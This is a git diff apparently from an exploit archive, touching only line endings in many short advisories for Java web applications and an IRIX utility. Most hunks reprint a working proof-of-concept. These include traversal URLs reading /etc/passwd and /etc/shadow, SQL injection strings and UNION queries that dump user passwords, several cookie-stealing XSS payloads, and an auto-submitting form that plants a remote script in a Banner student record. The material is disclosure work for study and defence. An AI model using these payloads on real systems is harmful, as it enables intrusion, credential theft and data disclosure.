+6,4 @@ An attacker may leverage this issue to cause the affected utility to write data It should be noted that although only SGI IRIX 6.5.22(maintenance) has been confirmed vulnerable, it is likely that all IRIX 6.5 versions are affected as well. -gr_osview -s /etc/shadow \ No newline at end of file +gr_osview -s /etc/shadow \ No newline at end of file diff --git a/platforms/java/dos/32860.txt b/platforms/java/dos/32860.txt index 13e9f518b..3fa5122d7 100755 --- a/platforms/java/dos/32860.txt +++ b/platforms/java/dos/32860.txt @@ -8,4 +8,4 @@ NOTE: Versions prior to Sun Java System Calendar Server 6.3 are not vulnerable. The following example data is available: -https://www.example.com:3443/?tzid=crash \ No newline at end of file +https://www.example.com:3443/?tzid=crash \ No newline at end of file diff --git a/platforms/java/webapps/20925.txt b/platforms/java/webapps/20925.txt index 54aba7ce5..f8c7fb315 100755 --- a/platforms/java/webapps/20925.txt +++ b/platforms/java/webapps/20925.txt @@ -4,4 +4,4 @@ Screaming Media is a provider for custom web content. SiteWare Editor Desktop is SiteWare Editor Desktop is prone to directory traversal attacks which can lead to disclosure of arbitrary webserver-readable files on the vulnerable host. This is due to the fact that the software does not filter '../' character sequences from HTTP Requests. -http://server:port/SWEditServlet?station_path=Z&publication_id=2043&template=../../../../../../../etc/passwd \ No newline at end of file +http://server:port/SWEditServlet?station_path=Z&publication_id=2043&template=../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/java/webapps/21543.txt b/platforms/java/webapps/21543.txt index a6fc7dd31..fd8b432d6 100755 --- a/platforms/java/webapps/21543.txt +++ b/platforms/java/webapps/21543.txt @@ -4,4 +4,4 @@ Ruslan Communications <Body>Builder is a tool designed to assist a user in creat Reportedly, user input supplied as the login password is not adequately filtered. A malicious user may include special characters in the supplied password and modify the SQL query used to validate the user. Access to the administrative interface is possible. -Use login='-- and pass='-- \ No newline at end of file +Use login='-- and pass='-- \ No newline at end of file diff --git a/platforms/java/webapps/21562.txt b/platforms/java/webapps/21562.txt index f791c1b70..4a5be5c55 100755 --- a/platforms/java/webapps/21562.txt +++ b/platforms/java/webapps/21562.txt @@ -4,4 +4,4 @@ Wolfram Research's webMathematica is a Java based product which allows the inclu A file disclosure vulnerability has been reported with the MSP CGI program. A file name parameter supplied by the user is not properly validated. The inclusion of "../" character sequences allows the attacker to escape the web root, and view arbitrary system files. -http://www.domain.com/webMathematica/MSP?MSPStoreID=../../../../../etc/passwd&MSPStoreType=image/gif \ No newline at end of file +http://www.domain.com/webMathematica/MSP?MSPStoreID=../../../../../etc/passwd&MSPStoreType=image/gif \ No newline at end of file diff --git a/platforms/java/webapps/21946.txt b/platforms/java/webapps/21946.txt index afc5c1f61..dba221cc9 100755 --- a/platforms/java/webapps/21946.txt +++ b/platforms/java/webapps/21946.txt @@ -6,4 +6,4 @@ As a result, it is possible for a remote attacker to create a malicious link con This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. -http://<victim>/usercp.php?s=[Session ID]"><Script>alert(document.cookie);</Script> \ No newline at end of file +http://<victim>/usercp.php?s=[Session ID]"><Script>alert(document.cookie);</Script> \ No newline at end of file diff --git a/platforms/java/webapps/22752.txt b/platforms/java/webapps/22752.txt index 10f90b16a..2b421cf76 100755 --- a/platforms/java/webapps/22752.txt +++ b/platforms/java/webapps/22752.txt @@ -23,4 +23,4 @@ _name=<h1>XSS http://www.example.com/[PATH TO H-SPHERE]/servlet/psoft.hsphere.CP/[USERNAME]/[ID]/psoft.hsphere.CP?template -_name=<script>alert(document.cookie);</script> \ No newline at end of file +_name=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/java/webapps/23268.txt b/platforms/java/webapps/23268.txt index f4d3c8e23..1dd01d9cb 100755 --- a/platforms/java/webapps/23268.txt +++ b/platforms/java/webapps/23268.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8862/info Vivisimo Clustering Engine reported prone to cross-site scripting vulnerability. The problem occurs due to insufficient sanitization of parameters passed to the search script. As a result, an attacker may be capable of constructing a link designed to execute arbitrary script code within the browser of a user who follows it. -http://www.example.com/search?query=<script>alert(document.domain)</script> \ No newline at end of file +http://www.example.com/search?query=<script>alert(document.domain)</script> \ No newline at end of file diff --git a/platforms/java/webapps/25702.txt b/platforms/java/webapps/25702.txt index 52a18c523..16accf60f 100755 --- a/platforms/java/webapps/25702.txt +++ b/platforms/java/webapps/25702.txt @@ -23,4 +23,4 @@ http://example.com/Download?/etc/passwd http://example.com/Download?/etc/shadow http://example.com/Download?/etc/group http://example.com/Download?/var/log/boot.log -http://example.com/Download?/var/log/maillog \ No newline at end of file +http://example.com/Download?/var/log/maillog \ No newline at end of file diff --git a/platforms/java/webapps/26001.txt b/platforms/java/webapps/26001.txt index 9e11e259f..8dae386e2 100755 --- a/platforms/java/webapps/26001.txt +++ b/platforms/java/webapps/26001.txt @@ -4,4 +4,4 @@ Novell GroupWise WebAccess is prone to an HTML injection vulnerability. This may Successful exploitation could potentially allow theft of cookie-based authentication. Other attacks are also possible. -<IMG SRC="j&#X41vascript:alert(document.cookie)"> \ No newline at end of file +<IMG SRC="j&#X41vascript:alert(document.cookie)"> \ No newline at end of file diff --git a/platforms/java/webapps/26987.txt b/platforms/java/webapps/26987.txt index 4292135ee..4d54d363a 100755 --- a/platforms/java/webapps/26987.txt +++ b/platforms/java/webapps/26987.txt @@ -29,4 +29,4 @@ TSITE%5F1167494&ERROR=error&ACTIVITY_ID=FWS%5FWHIT EPAPERS%5F1300483&COUNTRYNAME=[XSS] http://www.example.com/UpdateEngine?FUELAP_OP=FUELOP_NewScreen&FUELAP_TE -MPLATENAME=[XSS] \ No newline at end of file +MPLATENAME=[XSS] \ No newline at end of file diff --git a/platforms/java/webapps/30271.txt b/platforms/java/webapps/30271.txt index 9c20901d3..6648d244e 100755 --- a/platforms/java/webapps/30271.txt +++ b/platforms/java/webapps/30271.txt @@ -4,4 +4,4 @@ OpManager is prone to multiple cross-site scripting vulnerabilities because it f An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/map/ping.do?name=192.168.1.2%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73% 74%6D%6F%6E%2E%62%6C%F% 67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%2 1%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F%64%7 9%3E \ No newline at end of file +http://www.example.com/map/ping.do?name=192.168.1.2%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73% 74%6D%6F%6E%2E%62%6C%F% 67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%2 1%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F%64%7 9%3E \ No newline at end of file diff --git a/platforms/java/webapps/30272.txt b/platforms/java/webapps/30272.txt index 056a73ca6..0289fb636 100755 --- a/platforms/java/webapps/30272.txt +++ b/platforms/java/webapps/30272.txt @@ -4,4 +4,4 @@ OpManager is prone to multiple cross-site scripting vulnerabilities because it f An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/map/traceRoute.do?name=192.168.1.2%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C% 6F%73%74%6D%6F%6E%2E62% 6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%D%6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%2 0%21%21%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3 E%3C%2F%62%6F%64%79%3E \ No newline at end of file +http://www.example.com/map/traceRoute.do?name=192.168.1.2%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C% 6F%73%74%6D%6F%6E%2E62% 6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%D%6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%2 0%21%21%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3 E%3C%2F%62%6F%64%79%3E \ No newline at end of file diff --git a/platforms/java/webapps/30514.txt b/platforms/java/webapps/30514.txt index eef4d08b5..6121b0390 100755 --- a/platforms/java/webapps/30514.txt +++ b/platforms/java/webapps/30514.txt @@ -4,4 +4,4 @@ ALeadSoft Search Engine Builder is prone to a cross-site scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/search/search.html?searWords=[XSS] \ No newline at end of file +http://www.example.com/search/search.html?searWords=[XSS] \ No newline at end of file diff --git a/platforms/java/webapps/30674.txt b/platforms/java/webapps/30674.txt index fafd8dfb4..9da1e0a76 100755 --- a/platforms/java/webapps/30674.txt +++ b/platforms/java/webapps/30674.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Stringbeans Portal 3.2 is vulnerable; other versions may also be affected. -http://www.example.com/portal/projects?project_id=3&project_name=[XSS] \ No newline at end of file +http://www.example.com/portal/projects?project_id=3&project_name=[XSS] \ No newline at end of file diff --git a/platforms/java/webapps/31073.html b/platforms/java/webapps/31073.html index a3b0ede4f..fc8912f91 100755 --- a/platforms/java/webapps/31073.html +++ b/platforms/java/webapps/31073.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Banner Student 7.3 is vulnerable; other versions may also be affected. -<html><head><title>Banner Vulnerability Test Case</title></head> <body> <FORM ACTION="https://www.example.com/ss/twbksrch.P_ShowResults" METHOD="POST"> Search <SPAN class=fieldlabeltextinvisible><LABEL for=keyword_in_id><SPAN class=fieldlabeltext>Search</SPAN></LABEL></SPAN> <INPUT TYPE="text" NAME="KEYWRD_IN" SIZE="20" MAXLENGTH="65" ID="keyword_in_id"> <INPUT TYPE="submit" VALUE="Go"> </FORM> </div> </TD> <TD CLASS="pldefault"><p class="rightaligntext"> <SPAN class="pageheaderlinks"> <A HREF="/ss/twbkwbis.P_GenMenu?name=bmenu.P_GenMnu" class="submenulinktext2" >RETURN TO MENU</A> | <A HREF="/ss/twbksite.P_DispSiteMap?menu_name_in=bmenu.P_MainMnu&depth_in=2&columns_in=3" accesskey="2" class="submenulinktext2">SITE MAP</A> | <A HREF="/wtlhelp/twbhhelp.htm" accesskey="H" onClick="popup = window.open('/wtlhelp/twbhhelp.htm', 'PopupPage','height=450,width=500,scrollbars=yes,resizable=yes'); return false" target="_blank" onMouseOver="window.status=''; return true" onMouseOut="window.status=''; return true"onFocus="window.status=''; return true" onBlur="window.status=''; return true" class="submenulinktext2">HELP</A> | <A HREF="twbkwbis.P_Logout" accesskey="3" class="submenulinktext2">EXIT</A> </span> </TD> </TR> </TABLE> </DIV> <DIV class="pagetitlediv"> <TABLE CLASS="plaintable" SUMMARY="This table displays title and static header displays." WIDTH="100%"> <TR> <TD CLASS="pldefault"> <H2>Update Emergency Contacts</H2> </TD> <TD CLASS="pldefault"> &nbsp; </TD> <TD CLASS="pldefault"><p class="rightaligntext"> <DIV class="staticheaders"> </div> </TD> </TR> <TR> <TD class="bg3" width="100%" colSpan=3><IMG SRC="/wtlgifs/web_transparent.gif" ALT="Transparent Image" TITLE="Transparent Image" NAME="web_transparent" HSPACE=0 VSPACE=0 BORDER=0 HEIGHT=3 WIDTH=10></TD> </TR> </TABLE> <a name="main_content"></a> </DIV> <DIV class="pagebodydiv"> <!-- ** END OF twbkwbis.P_OpenDoc ** --> <DIV class="infotextdiv"><TABLE CLASS="infotexttable" SUMMARY="This layout table contains information that may be helpful in understanding the content and functionality of this page. It could be a brief set of instructions, a description of error messages, or other special information."><TR><TD CLASS="indefault">&nbsp;</TD><TD CLASS="indefault"><SPAN class=infotext> Enter a new emergency contact. When finished, Submit Changes. </SPAN></TD></TR></TABLE><P></DIV> <FORM NAME="MyForm" ACTION="https://www.example.com:9170/ssINTG/bwgkoemr.P_UpdateEmrgContacts" METHOD="post"> <INPUT TYPE="hidden" NAME="oldpri" VALUE="2"> <INPUT TYPE="hidden" NAME="last_active" VALUE="20070821154753"> <TABLE CLASS="dataentrytable" SUMMARY="This layout table is used to format the Emergency Contacts form."> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=remove_id><SPAN class=fieldlabeltext>Remove Contact:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"><INPUT TYPE="checkbox" NAME="remove_it" ID="remove_id"></TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=priority_id><SPAN class=fieldlabeltext>Order:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="priority_in" SIZE="2" MAXLENGTH="1" VALUE="2" ID="priority_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=rship_id><SPAN class=fieldlabeltext>Relationship:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="rship" SIZE="1" ID="rship_id"> <OPTION VALUE="" SELECTED>Not Applicable <OPTION VALUE="A">An Ex-spouse </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=fname_id><SPAN class=fieldlabeltext>First Name:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="fname" SIZE="20" MAXLENGTH="15" ID="fname_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=mi_id><SPAN class=fieldlabeltext>Middle Initial:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="mi" SIZE="2" MAXLENGTH="1" ID="mi_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=lname_id><SPAN class=fieldlabeltext>Last Name:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="lname" SIZE="35" MAXLENGTH="25" ID="lname_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr1_id><SPAN class=fieldlabeltext>Address Line 1:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr1" SIZE="35" MAXLENGTH="30" ID="addr1_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr2_id><SPAN class=fieldlabeltext>Address Line 2:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr2" SIZE="35" MAXLENGTH="30" ID="addr2_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr3_id><SPAN class=fieldlabeltext>Address Line 3:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr3" SIZE="35" MAXLENGTH="30" ID="addr3_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=city_id><SPAN class=fieldlabeltext>City:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="city" SIZE="30" MAXLENGTH="20" ID="city_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=stat_id><SPAN class=fieldlabeltext>State or Province:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="stat" SIZE="1" ID="stat_id"> <OPTION VALUE="" SELECTED>Not Applicable <OPTION VALUE="RI">Rhode Island </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=zip_id><SPAN class=fieldlabeltext>Zip or Postal Code:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="zip" SIZE="11" MAXLENGTH="10" ID="zip_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=natn_id><SPAN class=fieldlabeltext>Country:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="natn" SIZE="1" ID="natn_id"> <OPTION VALUE="" SELECTED>Not Applicable OPTION VALUE="US">United States </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=area_id><SPAN class=fieldlabeltext>Area Code:</SPAN></LABEL></TD> <TD COLSPAN="1" CLASS="dedefault"> <INPUT TYPE="text" NAME="area" SIZE="4" MAXLENGTH="3" ID="area_id"> <TD CLASS="delabel" scope="row" ><LABEL for=phone_id><SPAN class=fieldlabeltext>Phone Number:</SPAN></LABEL></TD> <TD CLASS="dedefault"><INPUT TYPE="text" NAME="phone" SIZE="9" MAXLENGTH="8" ID="phone_id"></TD> <TD CLASS="delabel" scope="row" ><LABEL for=ext_id><SPAN class=fieldlabeltext>Extension:</SPAN></LABEL></TD> <TD CLASS="dedefault"><INPUT TYPE="text" NAME="ext" SIZE="5" MAXLENGTH="4" ID="ext_id"></TD> </TR> </TABLE> <P> <INPUT TYPE="submit" VALUE="Submit Changes"> <INPUT TYPE="reset" VALUE="Reset"> </FORM> <script> document.MyForm.addr1.value='\<script src=http://www.example2.com/s>'; document.MyForm.natn.value='US'; document.MyForm.stat.value='RI'; document.MyForm.fname.value='NAME'; document.MyForm.lname.value='NAME'; document.MyForm.city.value='Providence'; document.MyForm.zip.value='02912'; document.MyForm.submit(); </script> </body> </html> \ No newline at end of file +<html><head><title>Banner Vulnerability Test Case</title></head> <body> <FORM ACTION="https://www.example.com/ss/twbksrch.P_ShowResults" METHOD="POST"> Search <SPAN class=fieldlabeltextinvisible><LABEL for=keyword_in_id><SPAN class=fieldlabeltext>Search</SPAN></LABEL></SPAN> <INPUT TYPE="text" NAME="KEYWRD_IN" SIZE="20" MAXLENGTH="65" ID="keyword_in_id"> <INPUT TYPE="submit" VALUE="Go"> </FORM> </div> </TD> <TD CLASS="pldefault"><p class="rightaligntext"> <SPAN class="pageheaderlinks"> <A HREF="/ss/twbkwbis.P_GenMenu?name=bmenu.P_GenMnu" class="submenulinktext2" >RETURN TO MENU</A> | <A HREF="/ss/twbksite.P_DispSiteMap?menu_name_in=bmenu.P_MainMnu&depth_in=2&columns_in=3" accesskey="2" class="submenulinktext2">SITE MAP</A> | <A HREF="/wtlhelp/twbhhelp.htm" accesskey="H" onClick="popup = window.open('/wtlhelp/twbhhelp.htm', 'PopupPage','height=450,width=500,scrollbars=yes,resizable=yes'); return false" target="_blank" onMouseOver="window.status=''; return true" onMouseOut="window.status=''; return true"onFocus="window.status=''; return true" onBlur="window.status=''; return true" class="submenulinktext2">HELP</A> | <A HREF="twbkwbis.P_Logout" accesskey="3" class="submenulinktext2">EXIT</A> </span> </TD> </TR> </TABLE> </DIV> <DIV class="pagetitlediv"> <TABLE CLASS="plaintable" SUMMARY="This table displays title and static header displays." WIDTH="100%"> <TR> <TD CLASS="pldefault"> <H2>Update Emergency Contacts</H2> </TD> <TD CLASS="pldefault"> &nbsp; </TD> <TD CLASS="pldefault"><p class="rightaligntext"> <DIV class="staticheaders"> </div> </TD> </TR> <TR> <TD class="bg3" width="100%" colSpan=3><IMG SRC="/wtlgifs/web_transparent.gif" ALT="Transparent Image" TITLE="Transparent Image" NAME="web_transparent" HSPACE=0 VSPACE=0 BORDER=0 HEIGHT=3 WIDTH=10></TD> </TR> </TABLE> <a name="main_content"></a> </DIV> <DIV class="pagebodydiv"> <!-- ** END OF twbkwbis.P_OpenDoc ** --> <DIV class="infotextdiv"><TABLE CLASS="infotexttable" SUMMARY="This layout table contains information that may be helpful in understanding the content and functionality of this page. It could be a brief set of instructions, a description of error messages, or other special information."><TR><TD CLASS="indefault">&nbsp;</TD><TD CLASS="indefault"><SPAN class=infotext> Enter a new emergency contact. When finished, Submit Changes. </SPAN></TD></TR></TABLE><P></DIV> <FORM NAME="MyForm" ACTION="https://www.example.com:9170/ssINTG/bwgkoemr.P_UpdateEmrgContacts" METHOD="post"> <INPUT TYPE="hidden" NAME="oldpri" VALUE="2"> <INPUT TYPE="hidden" NAME="last_active" VALUE="20070821154753"> <TABLE CLASS="dataentrytable" SUMMARY="This layout table is used to format the Emergency Contacts form."> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=remove_id><SPAN class=fieldlabeltext>Remove Contact:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"><INPUT TYPE="checkbox" NAME="remove_it" ID="remove_id"></TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=priority_id><SPAN class=fieldlabeltext>Order:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="priority_in" SIZE="2" MAXLENGTH="1" VALUE="2" ID="priority_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=rship_id><SPAN class=fieldlabeltext>Relationship:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="rship" SIZE="1" ID="rship_id"> <OPTION VALUE="" SELECTED>Not Applicable <OPTION VALUE="A">An Ex-spouse </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=fname_id><SPAN class=fieldlabeltext>First Name:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="fname" SIZE="20" MAXLENGTH="15" ID="fname_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=mi_id><SPAN class=fieldlabeltext>Middle Initial:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="mi" SIZE="2" MAXLENGTH="1" ID="mi_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=lname_id><SPAN class=fieldlabeltext>Last Name:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="lname" SIZE="35" MAXLENGTH="25" ID="lname_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr1_id><SPAN class=fieldlabeltext>Address Line 1:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr1" SIZE="35" MAXLENGTH="30" ID="addr1_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr2_id><SPAN class=fieldlabeltext>Address Line 2:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr2" SIZE="35" MAXLENGTH="30" ID="addr2_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr3_id><SPAN class=fieldlabeltext>Address Line 3:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr3" SIZE="35" MAXLENGTH="30" ID="addr3_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=city_id><SPAN class=fieldlabeltext>City:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="city" SIZE="30" MAXLENGTH="20" ID="city_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=stat_id><SPAN class=fieldlabeltext>State or Province:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="stat" SIZE="1" ID="stat_id"> <OPTION VALUE="" SELECTED>Not Applicable <OPTION VALUE="RI">Rhode Island </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=zip_id><SPAN class=fieldlabeltext>Zip or Postal Code:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="zip" SIZE="11" MAXLENGTH="10" ID="zip_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=natn_id><SPAN class=fieldlabeltext>Country:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="natn" SIZE="1" ID="natn_id"> <OPTION VALUE="" SELECTED>Not Applicable OPTION VALUE="US">United States </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=area_id><SPAN class=fieldlabeltext>Area Code:</SPAN></LABEL></TD> <TD COLSPAN="1" CLASS="dedefault"> <INPUT TYPE="text" NAME="area" SIZE="4" MAXLENGTH="3" ID="area_id"> <TD CLASS="delabel" scope="row" ><LABEL for=phone_id><SPAN class=fieldlabeltext>Phone Number:</SPAN></LABEL></TD> <TD CLASS="dedefault"><INPUT TYPE="text" NAME="phone" SIZE="9" MAXLENGTH="8" ID="phone_id"></TD> <TD CLASS="delabel" scope="row" ><LABEL for=ext_id><SPAN class=fieldlabeltext>Extension:</SPAN></LABEL></TD> <TD CLASS="dedefault"><INPUT TYPE="text" NAME="ext" SIZE="5" MAXLENGTH="4" ID="ext_id"></TD> </TR> </TABLE> <P> <INPUT TYPE="submit" VALUE="Submit Changes"> <INPUT TYPE="reset" VALUE="Reset"> </FORM> <script> document.MyForm.addr1.value='\<script src=http://www.example2.com/s>'; document.MyForm.natn.value='US'; document.MyForm.stat.value='RI'; document.MyForm.fname.value='NAME'; document.MyForm.lname.value='NAME'; document.MyForm.city.value='Providence'; document.MyForm.zip.value='02912'; document.MyForm.submit(); </script> </body> </html> \ No newline at end of file diff --git a/platforms/java/webapps/31189.txt b/platforms/java/webapps/31189.txt index 15e2e31db..b003f4f44 100755 --- a/platforms/java/webapps/31189.txt +++ b/platforms/java/webapps/31189.txt @@ -13,4 +13,4 @@ https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+ SELECT+'','',firstname,lastname,userid,password+from+enduser;-- https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+ -SELECT+'','','',user,'',password+from+applicationuser;-- \ No newline at end of file +SELECT+'','','',user,'',password+from+applicationuser;-- \ No newline at end of file diff --git a/platforms/java/webapps/31438.txt b/platforms/java/webapps/31438.txt index f73f84e92..1de14c307 100755 --- a/platforms/java/webapps/31438.txt +++ b/platforms/java/webapps/31438.txt @@ -6,4 +6,4 @@ An attacker could exploit these vulnerabilities to execute arbitrary local or re Ration ClearQuest 2003.06.16, 7.0.0.1, 7.0.0.2, 7.0.1.0, and 7.0.1.1 are vulnerable; other versions may also be affected. -http://www.example.com/cqweb/login?/cqweb/main?command=GenerateMainFrame&service=CQ&schema=SCHEMAHERE"; alert('XSS');//&contextid=DATABASECONTEXTHERE"; alert('XSS');// http://www.example.com/cqweb/login?targetUrl=/cqweb/main?command=GenerateMainFrame&ratl_userdb=DBHERE,&test=&clientServerAddress=http://www.example.com/cqweb/login&username=test</script><script>alert('xss')</script>&password=test&schema=SCHEMAHERE&userDb=DBHERE \ No newline at end of file +http://www.example.com/cqweb/login?/cqweb/main?command=GenerateMainFrame&service=CQ&schema=SCHEMAHERE"; alert('XSS');//&contextid=DATABASECONTEXTHERE"; alert('XSS');// http://www.example.com/cqweb/login?targetUrl=/cqweb/main?command=GenerateMainFrame&ratl_userdb=DBHERE,&test=&clientServerAddress=http://www.example.com/cqweb/login&username=test</script><script>alert('xss')</script>&password=test&schema=SCHEMAHERE&userDb=DBHERE \ No newline at end of file diff --git a/platforms/java/webapps/31621.txt b/platforms/java/webapps/31621.txt index fb090bc57..a5e5442fa 100755 --- a/platforms/java/webapps/31621.txt +++ b/platforms/java/webapps/31621.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Sun Java System Messenger Express 6.1-13-15 is vulnerable; other versions may also be affected. -http://www.example.com/en/mail.html?sid=<something>&lang="><script>alert(1);</script> \ No newline at end of file +http://www.example.com/en/mail.html?sid=<something>&lang="><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/java/webapps/31816.txt b/platforms/java/webapps/31816.txt index 99811fc37..60d08d9a2 100755 --- a/platforms/java/webapps/31816.txt +++ b/platforms/java/webapps/31816.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SAP Web Application Server 7.0 is vulnerable; other versions may also be affected. -http://www.example.com/sap/bc/gui/sap/its/webgui/aaaaaaa"><img/src=javascript:alert('DSECRG_XSS')> \ No newline at end of file +http://www.example.com/sap/bc/gui/sap/its/webgui/aaaaaaa"><img/src=javascript:alert('DSECRG_XSS')> \ No newline at end of file diff --git 